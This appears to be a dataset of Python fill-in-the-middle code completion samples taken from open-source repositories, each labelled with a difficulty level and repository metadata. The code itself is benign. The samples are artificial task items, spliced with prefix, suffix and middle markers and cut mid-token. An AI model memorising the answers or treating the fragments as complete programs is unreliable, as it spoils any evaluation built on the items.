text
stringlengths
232
16.3k
domain
stringclasses
1 value
difficulty
stringclasses
3 values
meta
dict
<|fim_suffix|> self.encoder_module.rnn.reset_parameters() self.decoder_module.rnn.reset_parameters() def forward(self, inputs, input_lengths=None, targets={}, teacher_forcing_ratio=0): # Unpack target variables target_output = targets.get('decoder_output', None) ...
code_fim
hard
{ "lang": "python", "repo": "m0re4u/machine", "path": "/machine/models/seq2seq.py", "mode": "spm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_prefix|># repo: bballamudi/DataGristle path: /scripts/gristle_processor g('%s on file %s' % ('list', self.file_name)) print(fqfn) class FileAnalyzer(object): def __init__(self, in_kwargs, ex_kwargs): self.in_kwargs = in_kwargs self.ex_kwargs = ex_kwargs self.seconds = {'...
code_fim
hard
{ "lang": "python", "repo": "bballamudi/DataGristle", "path": "/scripts/gristle_processor", "mode": "psm", "license": "BSD-3-Clause", "source": "the-stack-v2" }
<|fim_prefix|># repo: bballamudi/DataGristle path: /scripts/gristle_processor # how to apply inclusion/exclusion criteria to dirs? # need to offer a sorted-walk, in order to pick up all files, then sort # by some timestamp for root, dirs, files in os.walk(self.gather_kwargs['dir']): ...
code_fim
hard
{ "lang": "python", "repo": "bballamudi/DataGristle", "path": "/scripts/gristle_processor", "mode": "psm", "license": "BSD-3-Clause", "source": "the-stack-v2" }
<|fim_suffix|> if dynamic_comparison(filename_epoch, op, threshold_epoch): return True else: return False def _get_threshold_epoch(self, time_delta): return time.time() - self._get_delta(time_delta) def _get_delta(self, time_delta): """ Inputs: ...
code_fim
hard
{ "lang": "python", "repo": "bballamudi/DataGristle", "path": "/scripts/gristle_processor", "mode": "spm", "license": "BSD-3-Clause", "source": "the-stack-v2" }
<|fim_suffix|> if objectPrevious is None: tensorFlow = None tensorFeat = None tensorVolume = torch.nn.functional.leaky_relu(input=correlation.FunctionCorrelation(tensorFirst=tensorFirst, tensorSecond=tensorSecond), negative_slope=0.1, inplace=False) tensorFeat = torch.cat([ tensorVolume ], 1) ...
code_fim
hard
{ "lang": "python", "repo": "saikatdutta/FMU_STSR", "path": "/PWCNetNew.py", "mode": "spm", "license": "CC0-1.0", "source": "the-stack-v2" }
<|fim_prefix|># repo: saikatdutta/FMU_STSR path: /PWCNetNew.py import torch from correlation import correlation import torch.nn.functional as F import math Backward_tensorGrid = {} Backward_tensorPartial = {} def Backward(tensorInput, tensorFlow): if str(tensorFlow.size()) not in Backward_tensorGrid: tensorHoriz...
code_fim
hard
{ "lang": "python", "repo": "saikatdutta/FMU_STSR", "path": "/PWCNetNew.py", "mode": "psm", "license": "CC0-1.0", "source": "the-stack-v2" }
<|fim_suffix|> """ Main test part """ speed_a = ad.physics.Speed(10.) speed_b = ad.physics.Speed(20.) speed_c = speed_a + speed_b self.assertEqual(speed_c, 30.) t = ad.physics.Duration(2.) a = ad.physics.Acceleration(10.) speed_c = t * a ...
code_fim
hard
{ "lang": "python", "repo": "carla-simulator/map", "path": "/ad_physics/python/tests/interface_test.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: carla-simulator/map path: /ad_physics/python/tests/interface_test.py #!/bin/env python # ----------------- BEGIN LICENSE BLOCK --------------------------------- # # Copyright (c) 2019-2020 Intel Corporation # # SPDX-License-Identifier: MIT # # ----------------- END LICENSE BLOCK ----------------...
code_fim
medium
{ "lang": "python", "repo": "carla-simulator/map", "path": "/ad_physics/python/tests/interface_test.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|>n] if level % 2 == 1: temp.reverse() res.append(temp) stack.append(children) return res<|fim_prefix|># repo: zlc18/LocalJudge path: /tests/python/BinaryTreeZigzagLevelOrderTraversal/zigzagLevelOrder.py """ simple bfs """ def zigzagLevelOrder(self, root): if not root: retu...
code_fim
hard
{ "lang": "python", "repo": "zlc18/LocalJudge", "path": "/tests/python/BinaryTreeZigzagLevelOrderTraversal/zigzagLevelOrder.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: zlc18/LocalJudge path: /tests/python/BinaryTreeZigzagLevelOrderTraversal/zigzagLevelOrder.py """ simple bfs """ def zigzagLevelOrder(self, root): if not root: return [] stack = [[root]] res = [[<|fim_suffix|>n] if level % 2 == 1: temp.reverse() res.append(temp) ...
code_fim
hard
{ "lang": "python", "repo": "zlc18/LocalJudge", "path": "/tests/python/BinaryTreeZigzagLevelOrderTraversal/zigzagLevelOrder.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|>ld in (node.left, node.right) if child] if not children: break temp = [node.val for node in children] if level % 2 == 1: temp.reverse() res.append(temp) stack.append(children) return res<|fim_prefix|># repo: zlc18/LocalJudge path: /tests/python/BinaryTreeZigzag...
code_fim
medium
{ "lang": "python", "repo": "zlc18/LocalJudge", "path": "/tests/python/BinaryTreeZigzagLevelOrderTraversal/zigzagLevelOrder.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: antoniopenta/machine-learning-problems-solutions path: /AuthorImpact/scripts/extract_idf.py from sklearn.feature_extraction.text import TfidfVectorizer from time import time from functions.nlp import * # this script is extracting the idf for each term in the considered collection if __nam...
code_fim
hard
{ "lang": "python", "repo": "antoniopenta/machine-learning-problems-solutions", "path": "/AuthorImpact/scripts/extract_idf.py", "mode": "psm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_suffix|> print("Extracting ..") tfidf_vectorizer = TfidfVectorizer(analyzer='word', strip_accents='unicode', tokenizer=tokenize_and_clean) t0 = time() tfidf_matrix = tfidf_vectorizer.fit_transform(list(mapping_title.values())) print("done in %0.3fs." % (time() - t0)) feature_names = tf...
code_fim
hard
{ "lang": "python", "repo": "antoniopenta/machine-learning-problems-solutions", "path": "/AuthorImpact/scripts/extract_idf.py", "mode": "spm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_suffix|>AxisLabel.register() class Polygraph(VueComponent): template = "#polygraph-template" stats: list @computed def points(self): return " ".join( map( lambda e: ",".join( str(p) for p in value_to_point(int(e[1]["val...
code_fim
hard
{ "lang": "python", "repo": "stefanhoelzl/vue.py", "path": "/examples/svg_graph/app.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> Polygraph.register() class App(VueComponent): template = "#app-template" new_label = "" stats = stats @computed def disable_remove(self): return len(self.stats) <= 3 def add(self, event): event.preventDefault() if self.new_label: self.stats....
code_fim
hard
{ "lang": "python", "repo": "stefanhoelzl/vue.py", "path": "/examples/svg_graph/app.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: stefanhoelzl/vue.py path: /examples/svg_graph/app.py import math from vue import VueComponent, computed stats = [ {"label": "A", "value": 100}, {"label": "B", "value": 100}, {"label": "C", "value": 100}, {"label": "D", "value": 100}, {"label": "E", "value": 100}, {"labe...
code_fim
hard
{ "lang": "python", "repo": "stefanhoelzl/vue.py", "path": "/examples/svg_graph/app.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: supersom/python_video_stab path: /vidstab/layerutils.py import cv2 import numpy as np def layer_overlay(foreground, background): """put an image over the top of another Intended for use in VidStab class to create a trail of previous frames in the stable video output. :param foregr...
code_fim
medium
{ "lang": "python", "repo": "supersom/python_video_stab", "path": "/vidstab/layerutils.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> :param foreground: image to be laid over top of background image :param background: image to over laid with foreground image :param foreground_alpha: alpha to apply to foreground; (1 - foreground_alpha) applied to background :return: return combined image where foreground is laid over back...
code_fim
medium
{ "lang": "python", "repo": "supersom/python_video_stab", "path": "/vidstab/layerutils.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|>def update_community_parent(udpate_params): with db: for p in udpate_params: CommunityDataItem.update(parent=p['parent']).where(CommunityDataItem.id == p['id']).execute() def tag_es_item_show(): offset = 0 size = 500 cdi: CommunityDataItem = None ln = size dog...
code_fim
hard
{ "lang": "python", "repo": "oopsteams/pansite", "path": "/es_test.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|>def tag_es_item_show(): offset = 0 size = 500 cdi: CommunityDataItem = None ln = size dog = 1000000 while ln == size and dog > 0: dog = dog - 1 ms: ModelSelect = CommunityDataItem.select().where(CommunityDataItem.isdir == 1).offset(offset).limit(size) ln = l...
code_fim
hard
{ "lang": "python", "repo": "oopsteams/pansite", "path": "/es_test.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: oopsteams/pansite path: /es_test.py # -*- coding: utf-8 -*- """ Created by susy at 2019/10/21 """ import sys import os sys.path.append(os.path.abspath(os.path.join(os.getcwd(), "."))) from dao.models import db, DataItem, Accounts, CommunityDataItem, CommunityVisible from dao.dao import DataDao f...
code_fim
hard
{ "lang": "python", "repo": "oopsteams/pansite", "path": "/es_test.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|>chema import * from patch import pre_schema<|fim_prefix|># repo: howiemac/evoke4 path: /data/__init__.py """ evoke base database interface """ from data import makeDataClass, RecordNotFoundE<|fim_middle|>rror from DB import execute, init_db from s
code_fim
easy
{ "lang": "python", "repo": "howiemac/evoke4", "path": "/data/__init__.py", "mode": "spm", "license": "BSD-3-Clause", "source": "the-stack-v2" }
<|fim_prefix|># repo: howiemac/evoke4 path: /data/__init__.py """ evoke base database interface """ from data import makeDataClass, RecordNotFoundE<|fim_suffix|>chema import * from patch import pre_schema<|fim_middle|>rror from DB import execute, init_db from s
code_fim
easy
{ "lang": "python", "repo": "howiemac/evoke4", "path": "/data/__init__.py", "mode": "psm", "license": "BSD-3-Clause", "source": "the-stack-v2" }
<|fim_prefix|># repo: howiemac/evoke4 path: /data/__init__.py """ evoke base database interface """ from<|fim_suffix|>chema import * from patch import pre_schema<|fim_middle|> data import makeDataClass, RecordNotFoundError from DB import execute, init_db from s
code_fim
medium
{ "lang": "python", "repo": "howiemac/evoke4", "path": "/data/__init__.py", "mode": "psm", "license": "BSD-3-Clause", "source": "the-stack-v2" }
<|fim_suffix|> question = answers.get_question(session) answers_to_questions = answers.get_answers_to_questions(session) return dialogflow.response_quick_replies(question + '\r\n' + ('\r\n'.join(answers_to_questions)), ['A', 'B', 'C', 'D']) lut = ['A', 'B', 'C', 'D'] def evaluate(session): s = answers....
code_fim
hard
{ "lang": "python", "repo": "hackujstat-v3-team-11/backend", "path": "/app.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> req = request.get_json(force=True) session = req['session'].split('/')[4] callbacs = { 'Start quiz': start_quiz, 'Give location': got_location, 'Default Fallback Intent': error_handler, 'cau': demo, 'A': handle_answer_a, 'B': handle_answer_b, ...
code_fim
hard
{ "lang": "python", "repo": "hackujstat-v3-team-11/backend", "path": "/app.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: hackujstat-v3-team-11/backend path: /app.py import sys from flask import Flask, request, make_response, jsonify, render_template from utils import dialogflow import question_modules COMMANDS = ['Nastavit lokaci na Prahu', 'Začít hrát', 'Nastav počet otázek na 8'] class Answers: def __init_...
code_fim
hard
{ "lang": "python", "repo": "hackujstat-v3-team-11/backend", "path": "/app.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: thealphaversion/A-Practical-Guide-To-Python path: /datastructures/stack.py # a stack is a data structure in which the data element entered last is removed first # basically you insert elements from one end and also remove them from the same end # for example, you have a box of pringles and you o...
code_fim
hard
{ "lang": "python", "repo": "thealphaversion/A-Practical-Guide-To-Python", "path": "/datastructures/stack.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|>class OurGreatStack: def __init__(self): self.top = -1 self.elements = [] def push(self, value): self.top = self.top + 1 self.elements.insert(self.top, value) def pop(self): if (self.top >= 0): self.top = self.top - 1 else: ...
code_fim
hard
{ "lang": "python", "repo": "thealphaversion/A-Practical-Guide-To-Python", "path": "/datastructures/stack.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: mbachry/awslogs-sd path: /awslogs_sd/awslogs_sd.py #!/usr/bin/env python3 import argparse import json import time import itertools import logging import logging.config import configparser import socket from collections import namedtuple from operator import itemgetter, attrgetter from functools i...
code_fim
hard
{ "lang": "python", "repo": "mbachry/awslogs-sd", "path": "/awslogs_sd/awslogs_sd.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> class LogPushError(Exception): pass def retry_condition(e): return isinstance(e, LogPushError) @retrying.retry( retry_on_exception=retry_condition, wait_exponential_multiplier=50, wait_exponential_max=3000) def push_records(client, records, unit_conf, state): assert records assert...
code_fim
hard
{ "lang": "python", "repo": "mbachry/awslogs-sd", "path": "/awslogs_sd/awslogs_sd.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|>def _build_local_store_key( station_id: Union[str, int], parameter: Parameter, time_resolution: TimeResolution, period_type: PeriodType, ) -> str: """ Function that builds a request string from defined parameters including a single station id :param station_id: ...
code_fim
hard
{ "lang": "python", "repo": "kmuehlbauer/wetterdienst", "path": "/wetterdienst/dwd/observations/store.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: kmuehlbauer/wetterdienst path: /wetterdienst/dwd/observations/store.py from pathlib import Path from typing import Union import pandas as pd from wetterdienst import Parameter, TimeResolution, PeriodType from wetterdienst.dwd.metadata.constants import ( DWD_FOLDER_STATION_DATA, DWD_FILE...
code_fim
hard
{ "lang": "python", "repo": "kmuehlbauer/wetterdienst", "path": "/wetterdienst/dwd/observations/store.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> :param station_id: Station id of data :param parameter: Observation measure :param time_resolution: Frequency/granularity of measurement interval :param period_type: Recent or historical files :return: A string building a key that is used...
code_fim
hard
{ "lang": "python", "repo": "kmuehlbauer/wetterdienst", "path": "/wetterdienst/dwd/observations/store.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> return join(self.data_path, 'exr-%s.json' % part) def test_samples_request(self): """Test the samples from the SDMXJSON spec.""" req = Request() for name, data in sample_data.items(): resp = req.get(fromfile=self._filepath(name)) df = resp.writ...
code_fim
hard
{ "lang": "python", "repo": "jaypeedevlin/pandaSDMX", "path": "/tests/test_json.py", "mode": "spm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_prefix|># repo: jaypeedevlin/pandaSDMX path: /tests/test_json.py from collections import OrderedDict import json import os from os.path import abspath, dirname, join from unittest import TestCase import pandas as pd from pandasdmx import Request # Construct the expected pandas representation of the sample dat...
code_fim
hard
{ "lang": "python", "repo": "jaypeedevlin/pandaSDMX", "path": "/tests/test_json.py", "mode": "psm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_suffix|> """Test the write_source() method.""" req = Request() for name in sample_data.keys(): orig_fn = self._filepath(name) temp_fn = self._filepath(name + '-write-source') # Read the message resp = req.get(fromfile=orig_fn) # ...
code_fim
hard
{ "lang": "python", "repo": "jaypeedevlin/pandaSDMX", "path": "/tests/test_json.py", "mode": "spm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_suffix|> @login_required def edit_profile(request): if request.method == 'POST': print(request.FILES) profile_form = ProfileForm(request.POST, request.FILES, instance=request.user.profile) if profile_form.is_valid(): profile_form.save() return redirect("profile"...
code_fim
hard
{ "lang": "python", "repo": "TheWITProject/MentorApp", "path": "/userProfile/views.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: TheWITProject/MentorApp path: /userProfile/views.py from django.contrib.auth import login, authenticate, logout from django.shortcuts import render, redirect from django.contrib.auth.decorators import login_required from django.contrib.auth.models import User from django.contrib.sites.shortcuts i...
code_fim
hard
{ "lang": "python", "repo": "TheWITProject/MentorApp", "path": "/userProfile/views.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> # ### commands auto generated by Alembic - please adjust! ### op.drop_table('order') op.drop_index(op.f('ix_user_has_user_user_id2'), table_name='user_has_user') op.drop_index(op.f('ix_user_has_user_user_id1'), table_name='user_has_user') op.drop_table('user_has_user') op.drop_tabl...
code_fim
hard
{ "lang": "python", "repo": "linusgalen/chilichallenge", "path": "/migrations/versions/686d4f6633fa_.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: linusgalen/chilichallenge path: /migrations/versions/686d4f6633fa_.py """empty message Revision ID: 686d4f6633fa Revises: Create Date: 2017-03-22 11:01:46.159006 """ from alembic import op import sqlalchemy as sa # revision identifiers, used by Alembic. revision = '686d4f6633fa' down_revisio...
code_fim
hard
{ "lang": "python", "repo": "linusgalen/chilichallenge", "path": "/migrations/versions/686d4f6633fa_.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: bhuiyanmobasshir94/Categorized-Affect-Map path: /map/urls.py from django.urls import path from . import views app_name = 'map' urlpatterns = [ path('',views.index,name='index'), path('map-view/',views.map_view,name='map-view'), path('category/',views.category<|fim_suffix|>-n...
code_fim
hard
{ "lang": "python", "repo": "bhuiyanmobasshir94/Categorized-Affect-Map", "path": "/map/urls.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|>submit-response'), path('submit-area-name-request/',views.submit_area_name_request,name='submit-area-name-request'), path('submit-category-name-request/',views.submit_category_name_request,name='submit-category-name-request'), # path('<int:question_id>/',views.detail, name='detail'), #...
code_fim
hard
{ "lang": "python", "repo": "bhuiyanmobasshir94/Categorized-Affect-Map", "path": "/map/urls.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> for c, c_freq in self.c_f.iteritems(): score = log(c_freq) - log(self.n) for t, t_f in freqmap.iteritems(): score += log(self.c_tok_to_f[c][t]+self.alpha) - \ log(len(self.vocab) + self.c_to_toks_count[c]) best_score_class_pair = max(best_score_class_pair, (score, c)) return (best_...
code_fim
hard
{ "lang": "python", "repo": "AWNystrom/BloomML", "path": "/sanity_naive_bayes.py", "mode": "spm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_prefix|># repo: AWNystrom/BloomML path: /sanity_naive_bayes.py from collections import defaultdict from numpy import inf from math import log def make_freqmap(tokens): freqmap = defaultdict(lambda:0) for t in tokens: freqmap[t] += 1 return freqmap class MNB(object): def __init__(self, alpha): self.c_...
code_fim
hard
{ "lang": "python", "repo": "AWNystrom/BloomML", "path": "/sanity_naive_bayes.py", "mode": "psm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_suffix|> def bernoulli_predict(self, freqmap): best_score_class_pair = (-inf, None) for c, c_freq in self.c_f.iteritems(): score = log(c_freq) - log(self.n) for t, t_f in freqmap.iteritems(): score += log(self.c_tok_to_f[c][t]+self.alpha) - \ log(len(self.vocab) + self.c_to_toks_count[c]) ...
code_fim
hard
{ "lang": "python", "repo": "AWNystrom/BloomML", "path": "/sanity_naive_bayes.py", "mode": "spm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_prefix|># repo: cdt15/lingam path: /examples/data/create_6vars_mid_latent.py import numpy as np import pandas as pd N_SAMPLES = 300 np.random.seed(0) <|fim_suffix|>x5 = get_external_effect(N_SAMPLES) x6 = get_external_effect(N_SAMPLES) x1 = 0.6 * x5 + get_external_effect(N_SAMPLES) x3 = 0.5 * x5 + get_externa...
code_fim
medium
{ "lang": "python", "repo": "cdt15/lingam", "path": "/examples/data/create_6vars_mid_latent.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|># The latent variable x6 is not included. df = pd.DataFrame( np.array([x0, x1, x2, x3, x4, x5]).T, columns=["x0", "x1", "x2", "x3", "x4", "x5"] ) df.to_csv("6vars_mid_latent.csv", index=False)<|fim_prefix|># repo: cdt15/lingam path: /examples/data/create_6vars_mid_latent.py import numpy as np import...
code_fim
hard
{ "lang": "python", "repo": "cdt15/lingam", "path": "/examples/data/create_6vars_mid_latent.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> for r in itertools.chain(metrics('node'), metrics('pod')): if fmt: print(fmt.format(**r)) else: print(json.dumps(r)) if __name__ == '__main__': args = parser.parse_args() dump_kwargs = {'fmt': args.format} # Show metrics immideately dump(**dump...
code_fim
hard
{ "lang": "python", "repo": "sabakaio/k8s-diag-logs", "path": "/metrics.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|>kube_api = config('KUBE_API', 'http://localhost:8001') kube_token_file = config('KUBE_TOKEN_FILE', '') kube_token = config('KUBE_TOKEN', '') if not kube_token and kube_token_file: with open(kube_token_file) as f: kube_token = f.read() # INFLUXDB SETTINGS influxdb_dsn = config('INFLUXDB_DSN'...
code_fim
hard
{ "lang": "python", "repo": "sabakaio/k8s-diag-logs", "path": "/metrics.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: sabakaio/k8s-diag-logs path: /metrics.py #!/usr/bin/env python3 import argparse import asyncio import json import itertools import requests from apscheduler.schedulers.asyncio import AsyncIOScheduler from decouple import config, Csv from influxdb import InfluxDBClient # suppress self-signed cer...
code_fim
hard
{ "lang": "python", "repo": "sabakaio/k8s-diag-logs", "path": "/metrics.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: darkdragn/lz4tools path: /lz4tools/lz4tar.py import sys import tarfile if sys.version_info.major >= 3: from .lz4file import Lz4File else: from lz4file import Lz4File <|fim_suffix|> try: import lz4tools Lz4File = lz4tools.Lz4File except (ImportError...
code_fim
medium
{ "lang": "python", "repo": "darkdragn/lz4tools", "path": "/lz4tools/lz4tar.py", "mode": "psm", "license": "BSD-3-Clause", "source": "the-stack-v2" }
<|fim_suffix|> try: import lz4tools Lz4File = lz4tools.Lz4File except (ImportError, AttributeError): raise CompressionError("Lz4file module is not available") if name and fileobj is None: try: fileobj = Lz4File.open(name) ...
code_fim
medium
{ "lang": "python", "repo": "darkdragn/lz4tools", "path": "/lz4tools/lz4tar.py", "mode": "spm", "license": "BSD-3-Clause", "source": "the-stack-v2" }
<|fim_prefix|># repo: tgeral68/OpenNIR path: /onir/indices/multifield_sqlite.py import os import onir from onir.interfaces.sqlite import Sqlite2KeyDict _logger = onir.log.easy() class MultifieldSqliteDocstore: def __init__(self, path, primary_field='text'): self._path = path self._primary_field...
code_fim
hard
{ "lang": "python", "repo": "tgeral68/OpenNIR", "path": "/onir/indices/multifield_sqlite.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> return self._path def docids(self): if self.built(): yield from self.sql().iterkey2s() def num_docs(self): if self.built(): return self.sql().countkey2s()<|fim_prefix|># repo: tgeral68/OpenNIR path: /onir/indices/multifield_sqlite.py import os imp...
code_fim
hard
{ "lang": "python", "repo": "tgeral68/OpenNIR", "path": "/onir/indices/multifield_sqlite.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> tr_wfd = open(trainout_path, "w") va_wfd = open(valiout_path, "w") te_wfd = open(testout_path, "w") for line in open(datain_path): time_str = line.strip("\r\t\n").split(",")[8] if time_str < trseg_time: tr_wfd.write(line) elif time_str < vaseg_time: ...
code_fim
hard
{ "lang": "python", "repo": "anthonylife/EventPopularity", "path": "/script/segmentData.py", "mode": "spm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_prefix|># repo: anthonylife/EventPopularity path: /script/segmentData.py #!/usr/bin/env python #encoding=utf8 #Copyright [2014] [Wei Zhang] #Licensed under the Apache License, Version 2.0 (the "License"); #you may not use this file except in compliance with the License. #You may obtain a copy of the License at...
code_fim
hard
{ "lang": "python", "repo": "anthonylife/EventPopularity", "path": "/script/segmentData.py", "mode": "psm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_suffix|> parser = argparse.ArgumentParser() parser.add_argument('-d', type=str, action='store', dest='data_num', help='choose which data set to use') if len(sys.argv) != 3: print 'Command e.g.: python segmentData.py -d 1(11,12,...)' sys.exit(1) para = parser.parse_args(...
code_fim
hard
{ "lang": "python", "repo": "anthonylife/EventPopularity", "path": "/script/segmentData.py", "mode": "spm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_suffix|> while delay_time: mins, secs = divmod(delay_time, 60) timer = '{:02d}:{:02d}'.format(mins, secs) print("\u001b[31;1mDelay Time Counter",timer, end="\r\u001b[0m") time.sleep(1) delay_time -= 1<|fim_prefix|># repo: saadmty/KMF_BOT path: /FunctionData/somefun.py #...
code_fim
medium
{ "lang": "python", "repo": "saadmty/KMF_BOT", "path": "/FunctionData/somefun.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: saadmty/KMF_BOT path: /FunctionData/somefun.py #Importing Modules import os import time #Creating Clear Console Funcation... def console_clear(): if os.name == 'nt': os.system("cls") else: os.system('clear') <|fim_suffix|> while delay_time: mins, secs = divmod...
code_fim
medium
{ "lang": "python", "repo": "saadmty/KMF_BOT", "path": "/FunctionData/somefun.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|>", "FB2NoteParser", "PDFNoteParser", "MoonReaderNotes")<|fim_prefix|># repo: Python3pkg/MoonReader_tools path: /moonreader_tools/parsers/__init__.py from .base import BaseParser from .fb2_parser import FB2NoteParser from .pdf_parser import PDFNoteParser from<|fim_middle|> .notes import MoonReaderNotes _...
code_fim
easy
{ "lang": "python", "repo": "Python3pkg/MoonReader_tools", "path": "/moonreader_tools/parsers/__init__.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: Python3pkg/MoonReader_tools path: /moonreader_tools/parsers/__init__.py from .base import BaseParser from .fb2_parser import FB2NoteParser from .pdf_parser import PDFNoteParser from<|fim_suffix|>", "FB2NoteParser", "PDFNoteParser", "MoonReaderNotes")<|fim_middle|> .notes import MoonReaderNotes _...
code_fim
easy
{ "lang": "python", "repo": "Python3pkg/MoonReader_tools", "path": "/moonreader_tools/parsers/__init__.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: MarSik/ApertureToDarktable path: /aperture2darktable/__main__.py # Copyright 2019 Martin Sivak # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org...
code_fim
hard
{ "lang": "python", "repo": "MarSik/ApertureToDarktable", "path": "/aperture2darktable/__main__.py", "mode": "psm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_suffix|> metafile = xmp_fullpath + ".pprint.txt" with open(metafile, "w") as meta_file: meta_file.write(pprint.pformat(ver.content)) print((d * 2 * " ") + f" - {photo.filename} [{idx}] " + "*" * photo.rating) for f0 in f.folders: process_folder(f0,...
code_fim
hard
{ "lang": "python", "repo": "MarSik/ApertureToDarktable", "path": "/aperture2darktable/__main__.py", "mode": "spm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_prefix|># repo: fedspendingtransparency/data-act-broker-backend path: /dataactcore/migrations/versions/6877b5657ffc_update_subtier_frec_relationship.py """update subtier-frec relationship Revision ID: 6877b5657ffc Revises: 6fc9bcd1c6cd Create Date: 2017-08-21 14:57:32.560466 """ # revision identifiers, used b...
code_fim
medium
{ "lang": "python", "repo": "fedspendingtransparency/data-act-broker-backend", "path": "/dataactcore/migrations/versions/6877b5657ffc_update_subtier_frec_relationship.py", "mode": "psm", "license": "CC0-1.0", "source": "the-stack-v2" }
<|fim_suffix|> def upgrade_data_broker(): ### commands auto generated by Alembic - please adjust! ### op.add_column('frec', sa.Column('cgac_id', sa.Integer(), nullable=True)) op.execute(""" UPDATE frec SET cgac_id = cgacs.cgac_id FROM ( ...
code_fim
medium
{ "lang": "python", "repo": "fedspendingtransparency/data-act-broker-backend", "path": "/dataactcore/migrations/versions/6877b5657ffc_update_subtier_frec_relationship.py", "mode": "spm", "license": "CC0-1.0", "source": "the-stack-v2" }
<|fim_prefix|># repo: jxpress/mangum path: /mangum/websocket.py import json import logging from dataclasses import dataclass from urllib.parse import urlparse from mangum.types import Scope from mangum.exceptions import WebSocketError, ConfigurationError try: import boto3 from botocore.exceptions import Clie...
code_fim
hard
{ "lang": "python", "repo": "jxpress/mangum", "path": "/mangum/websocket.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> try: apigw_client = boto3.client( "apigatewaymanagementapi", endpoint_url=self.api_gateway_endpoint_url, region_name=self.api_gateway_region_name, ) apigw_client.post_to_connection( ConnectionId=sel...
code_fim
hard
{ "lang": "python", "repo": "jxpress/mangum", "path": "/mangum/websocket.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: doublechenching/ship_detection path: /tmp.py Nucleoplasm 12885 0.25 Cytosol 8228 0.16 Plasma membrane 3777 0.07 Nucleoli 3621 0.07 Mitochondria 2965 0.06 Golgi apparatus ...
code_fim
hard
{ "lang": "python", "repo": "doublechenching/ship_detection", "path": "/tmp.py", "mode": "psm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_suffix|>1008 0.02 Microtubule organizing center 902 0.02 Cell junctions 802 0.02 Actin filaments 688 0.01 Focal adhesion sites 537 0.01 Cytokinetic bridge 530 0.01 Cytoplasmic bodies 328 0.01 Aggresome 322 ...
code_fim
hard
{ "lang": "python", "repo": "doublechenching/ship_detection", "path": "/tmp.py", "mode": "spm", "license": "Apache-2.0", "source": "the-stack-v2" }
